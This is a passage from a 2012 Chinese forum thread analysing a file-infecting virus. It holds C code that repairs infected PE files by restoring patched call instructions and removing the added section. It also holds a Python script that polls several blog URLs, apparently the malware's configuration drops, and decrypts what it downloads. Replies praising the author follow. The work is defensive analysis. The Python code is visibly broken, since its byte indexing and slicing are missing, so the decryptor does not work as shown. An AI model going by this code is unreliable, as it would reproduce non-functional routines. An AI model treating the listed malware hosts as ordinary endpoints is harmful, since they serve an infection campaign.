      VirtualFree(MapOfFile,0,MEM_RELEASE);

Exit0:
      
      if (INVALID_HANDLE_VALUE != hFile)
      {
                CloseHandle(hFile);
                hFile = INVALID_HANDLE_VALUE;
      }
      
      
      return bReturn;
}


对感染的文件进行修复:
bool IsRepairSuccess()
{

      bool                                        bRet = FALSE;
      BOOL                                        bWrite;
      HANDLE                                        hFile = INVALID_HANDLE_VALUE;
      DWORD                                        dwRead = 0;
      DWORD                                        dwOffset = 0;

      DWORD                                        dwTemp = 0,dwTemp1,dwTemp2;
      DWORD                                        counter = 0,i;
      IMAGE_SECTION_HEADER*      SH;      
      PDWORD                                        patch_call_info,patch_call_info_copy,dwPatch_tmp;
      DWORD                                        file_offset,file_offset_end;
      PBYTE                                        patched_call_va,check_call_va,dwrepair;

      DWORD                                        dwSizeOfHead = 0;
      //IMAGE_SECTION_HEADER      *SH;
               

      
      SH = pSaveInfo->SH;

      patch_call_info = (PDWORD)((pSaveInfo->MapOfFile + (SH + pSaveInfo->PE->FileHeader.NumberOfSections -1)->VirtualAddress) + 0x14);
      

      patch_call_info_copy = patch_call_info;
      //获取patch了多少个call
      do
      {
               *(patch_call_info) = *(patch_call_info) ^ pSaveInfo->dwKey;


               dwTemp = *(patch_call_info);
               if (dwTemp != 0)
               {
                         ++counter;
                         if (counter > 6)
                              goto      Exit0;
                         ++patch_call_info;
                         *(patch_call_info) = *(patch_call_info) ^ pSaveInfo->dwKey;
                         ++patch_call_info;
               }



      } while ( dwTemp != 0);



      if (counter <= 0)
      {
                goto      Exit0;
      }
      //如果出去call的数量为1 则不需要去重复
      if (counter == 1)
      {
                goto      repair;
      }

      patch_call_info = patch_call_info_copy;
      dwTemp = counter;
      dwTemp ++;
      //有的有重复的 去掉重复的
      while (--dwTemp!=1)
      {
                dwPatch_tmp = patch_call_info_copy;
                dwTemp1 = *(patch_call_info_copy);
                patch_call_info_copy = patch_call_info_copy + 2;
                dwTemp2 = *(patch_call_info_copy);
                if (dwTemp2 == dwTemp1)
                {
                        i = dwTemp;
                        i --;
                        i = i * 8;
                        i = i + 4;
                        memcpy(dwPatch_tmp,patch_call_info_copy,i);
                        counter --;
                        if (counter == 0)
                        {
                              goto      Exit0;
                              
                        }
                        patch_call_info_copy = patch_call_info_copy - 2;
                        
                }

      }


      file_offset = pSaveInfo->SH->PointerToRawData;
      file_offset_end = pSaveInfo->SH->SizeOfRawData + pSaveInfo->SH->PointerToRawData;
      check_call_va = (pSaveInfo->MapOfFile + (SH + pSaveInfo->PE->FileHeader.NumberOfSections -1)->VirtualAddress);
      check_call_va = check_call_va + 0x5ee3;
      //开始修复
      do
      {
                dwTemp = *patch_call_info;
                if (dwTemp < file_offset)
                {
                        goto      Exit0;
                }
                if (dwTemp > file_offset_end)
                {
                        goto      Exit0;
                }
                dwrepair = PBYTE(pSaveInfo->MapOfFile + pSaveInfo->SH->VirtualAddress + dwTemp - file_offset);

                patched_call_va = PBYTE(pSaveInfo->MapOfFile + pSaveInfo->SH->VirtualAddress + dwTemp - file_offset);
                --patched_call_va;
                if (*patched_call_va != 0xe8)
                {
                        goto      Exit0;
                }

                ++patched_call_va;
                patched_call_va = patched_call_va + *(PDWORD)patched_call_va;
                patched_call_va = patched_call_va + 4;

                dwTemp2 = patched_call_va - check_call_va;

                if ((dwTemp2 % 0x0a) != 0)
                {
                        goto      Exit0;
                }
                patch_call_info = patch_call_info + 1;
                memcpy(dwrepair ,patch_call_info,4);
                patch_call_info = patch_call_info + 1;
      } while (--counter);


      

repair:
      // remove last section

      -- pSaveInfo->PE->FileHeader.NumberOfSections;
      pSaveInfo->PE->OptionalHeader.SizeOfImage = pSaveInfo->PE->OptionalHeader.SizeOfImage
                - (pSaveInfo->SH + pSaveInfo->PE->FileHeader.NumberOfSections)->Misc.VirtualSize;

      memset(pSaveInfo->SH +pSaveInfo->PE->FileHeader.NumberOfSections,0,0x28);

      dwSizeOfHead = pSaveInfo->PE->OptionalHeader.SizeOfHeaders;
      hFile = CreateFile(pSaveInfo->szFileName, GENERIC_READ | GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
      if (INVALID_HANDLE_VALUE == hFile)
                goto Exit0;

      bWrite = WriteFile(hFile, pSaveInfo->MapOfFile, dwSizeOfHead, &dwTemp, NULL);
      
      for (i = 0; i < pSaveInfo->PE->FileHeader.NumberOfSections ; i ++)
                bWrite = WriteFile(hFile, (SH + i)->VirtualAddress + pSaveInfo->MapOfFile, (SH + i)->SizeOfRawData, &dwTemp, NULL);
      
      
      dwTemp = (SH+i-1)->PointerToRawData + (SH+i-1)->SizeOfRawData;
      dwTemp1 = SetFilePointer(hFile,(SH+i-1)->PointerToRawData + (SH+i-1)->SizeOfRawData,NULL,FILE_BEGIN);

      dwTemp2 = SetEndOfFile(hFile);


      bRet = TRUE;

Exit0:
      
      if (INVALID_HANDLE_VALUE != hFile)
      {
                CloseHandle(hFile);
                hFile = INVALID_HANDLE_VALUE;
      }
      
      if (NULL != pSaveInfo->MapOfFile)
      {
                VirtualFree(pSaveInfo->MapOfFile,0,MEM_RELEASE);
      }
               
      if (NULL != pSaveInfo)
      {
                free(pSaveInfo);
                pSaveInfo = NULL;
      }


      return                bRet;
}



最后我写了个叫脚本来下载解密其配置文件,看看病毒作者是否有更新,结果很失望,脚本如下:

import os,sys
import urllib2
import time
import re, struct

def Decrypt_Config(srcData, hOutFile):
    currIndex = 0

    data_len = len(srcData)
    ecx = data_len - 0xa

    p = re.compile(r'########(.*)',re.DOTALL)

    m = p.search(srcData)
    decrypt_data = []
    if m:
      found_offset = m.start(1)

      ecx = ecx - found_offset
      ecx = ecx >> 1
      #print "ecx %08x" % ecx
      while ecx != 0:
            ah = srcData
            al = srcData
            eax = (ord(ah) << 0x8) | ord(al)
            #print "eax %08x" % eax
            eax = eax - 0x4141
            edx = eax
            eax = eax >> 4
            eax = edx | eax
            #print "after or eax %08x" % eax
            decrypt_data.append(chr(eax & 0xff))
            found_offset = found_offset+2
            ecx = ecx - 1
      decrypt_data_ = "".join(decrypt_data)
      first_dword = struct.unpack('I',decrypt_data_)
      if first_dword <= data_len:
            check_value = struct.unpack('H',decrypt_data_)
            #print "check_value %08x" % check_value
            ecx = first_dword
            eax = 0
            esi = decrypt_data_
            cur_offset = 0
            while ecx >= 4:
                eax = eax + struct.unpack('I',esi)
                cur_offset = cur_offset + 4
                ecx = ecx -4
            eax = eax & 0xffff
            if eax == check_value:
                real_data = decrypt_data_
                hOutFile.write(real_data)

    else:
      
      print "no content found"

#time.sleep(7200)
def downloadfilewithoutdecrypt(url):

    try:
      
      ha = urllib2.urlopen(url,)
      if ha:
            print 'get sucess\n'
      configdata=ha.read()
      if configdata:
            print 'get data correct \n'
      

      if url.lower().endswith('625'):

            ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
            Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
            outfile=file(Config_name + 'config625','wb')
            Decrypt_Config(configdata,outfile)
            #outfile.write(configdata)
            outfile.close()
            
      if url.lower().endswith('358'):
            ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
            Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
            outfile=file(Config_name + 'config358','wb')
            Decrypt_Config(configdata,outfile)
            outfile.close()
      if url.lower().endswith('home'):
            ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
            Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
            outfile=file(Config_name + 'configtest','wb')
            Decrypt_Config(configdata,outfile)
            outfile.close()
      if url.lower().endswith('014'):
            ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
            Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
            outfile=file(Config_name + 'config014','wb')
            Decrypt_Config(configdata,outfile)
            outfile.close()
    except urllib2.HTTPError:
      
      pass


if __name__ == '__main__':

    weblist = [
      "http://home.51.com/?u=lichao3596&c=diary&a=getdataview&id=10047625",
      "http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014",
      "http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358",
      "http://hi.baidu.com/test6345/home"
      ]
    #f
    i = 0
    while(True):
      for url in weblist:
            i = i + 1
            downloadfilewithoutdecrypt(url)
            time.sleep(72)
            if i > 0x10:
                break
            
    print "finishe"



    这几天下载下来的内容,都是一样的。

附件密码:forfun

willJ 发表于 2012-5-3 09:09

会PY,又会IDA的确实很猛啊,支持一个

wine 发表于 2012-5-3 15:34

楼主比较厉害

uuwhat 发表于 2012-5-5 00:31

高手啊,收藏着以后学习吧

wallace 发表于 2012-5-7 09:33

确实不错,果断收藏。

哆米 发表于 2012-5-21 10:40

天上飞来五个字。啥都看不懂

BeMaverick 发表于 2012-5-27 18:26

做个记号,下次好找!

刘凡是神话 发表于 2012-7-9 12:49

牛人啊,犀利B啊羡慕嫉妒恨啊 爱爱爱.
页: [1]
查看完整版本: 一次病毒分析之旅